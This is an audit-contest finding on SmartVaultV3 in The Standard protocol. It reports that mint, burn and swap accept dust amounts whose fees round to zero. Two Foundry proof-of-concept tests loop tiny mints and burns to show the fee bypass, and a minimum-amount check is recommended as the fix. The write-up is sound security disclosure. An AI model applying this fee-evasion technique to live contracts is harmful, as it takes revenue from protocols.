low

Lack of Minimum Amount Check in `SmartVaultV3::mint`, `SmartVaultV3::burn`, a...

Contest
Reward

Total

78.78 USDC

6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
6.35 USDC
Selected
8.89 USDC
6.35 USDC
Selected Submission

Lack of Minimum Amount Check in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap Can Result in Loss of Fees

Severity

Low Risk

Relevant GitHub Links

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L170

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L161

https://github.com/Cyfrin/2023-12-the-standard/blob/main/contracts/SmartVaultV3.sol#L215

Description

The absence of a minimum requirement check for _amount in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap allows a user to send a very small amount, effectively bypassing fees.

Impact

This could result in a loss of fees for the protocol. However, the likelihood of this scenario is low, given that an attacker would need to spend a significant amount of gas for multiple transactions, making it less impactful.

It's important to note that if any fees rate is decreased in the future, it could exacerbate the problem.

Proof of Concept

Foundry PoC
    function testMintWeakAmountForNoFee() public {
        vm.startPrank(vaultUser);
        USDs.transfer(address(vault), 100e18);

        // Loop to mint without fees
        for (uint i; i < 20; i++) {
            vault.mint(vaultUser, 18);
        }

        // Check the USDs balance of the manager
        assertEq(EUROs.balanceOf(address(liquidationPoolManager)), 0);

        vm.stopPrank();
    }

    function testBurnWeakAmountForNoFee() public {
        vm.startPrank(vaultUser);
        USDs.transfer(address(vault), 100e18);

        vault.mint(vaultUser, 10e18);

        // Loop to burn without fees
        for (uint i; i < 20; i++) {
            vault.burn(18);
        }

        // Check the USDs balance of the manager, removing minting fees
        assertEq(EUROs.balanceOf(address(liquidationPoolManager)) - 5e16, 0);

        vm.stopPrank();
    }

Recommended Mitigation

Implement a minimum threshold check in SmartVaultV3::mint, SmartVaultV3::burn, and SmartVaultV3::swap. Example: require(_amount > 1e8).